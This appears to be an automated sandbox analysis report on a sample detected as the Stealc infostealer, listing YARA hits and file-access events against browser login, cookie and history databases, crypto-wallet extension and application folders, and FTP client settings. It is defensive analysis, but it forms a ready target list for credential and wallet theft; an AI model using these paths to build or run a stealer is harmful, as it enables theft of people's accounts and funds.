Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000004.00000002.1814662803.00000000010BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1812798968.0000000000B21000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1772091495.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe PID: 8156, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: NE4jxHLxXJ.exe, 00000000.00000003.1591128945.00000000007B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: NE4jxHLxXJ.exe, 00000000.00000003.1591128945.00000000007B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: NE4jxHLxXJ.exe, 00000000.00000003.1591128945.00000000007B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: NE4jxHLxXJ.exe, 00000000.00000003.1591128945.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "},{"en":"cjelfplplebdjjenllpjcblmjkfcffne","ez":"Jaxx Liberty"},{"en":"fihk
Source: NE4jxHLxXJ.exe, 00000000.00000003.1569315856.000000000077A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: NE4jxHLxXJ.exe, 00000000.00000003.1569430448.00000000007D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: NE4jxHLxXJ.exe, 00000000.00000003.1591128945.00000000007B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: NE4jxHLxXJ.exe, 00000000.00000003.1569430448.00000000007D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: NE4jxHLxXJ.exe, 00000000.00000003.1591128945.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
